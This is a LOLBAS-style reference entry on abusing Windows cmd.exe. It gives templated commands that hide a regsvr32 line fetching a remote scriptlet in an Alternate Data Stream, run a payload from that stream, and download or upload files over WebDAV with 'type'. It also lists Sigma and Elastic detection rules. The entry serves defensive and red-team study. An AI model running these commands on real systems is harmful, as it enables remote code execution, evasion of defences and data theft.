Cmd.exe
The command-line interpreter in Windows
Paths
C:\Windows\System32\cmd.exeC:\Windows\SysWOW64\cmd.exe
Commands
ADS
Add content to an Alternate Data Stream (ADS).
Use case: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges: User
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batADS
Execute payload.bat stored in an Alternate Data Stream (ADS).
Use case: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
Privileges: User
cmd.exe - < {PATH}:payload.batDownload
Downloads a specified file from a WebDAV server to the target file.
Use case: Download/copy a file from a WebDAV server
Privileges: User
type {PATH_SMB} > {PATH_ABSOLUTE}Upload
Uploads a specified file to a WebDAV server.
Use case: Upload a file to a WebDAV server
Privileges: User
type {PATH_ABSOLUTE} > {PATH_SMB}Detection
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
- IOC: cmd.exe executing files from alternate data streams.
- IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Resources
- https://twitter.com/yeyint_mth/status/1143824979139579904
- https://twitter.com/Mr_0rng/status/1601408154780446721
- https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type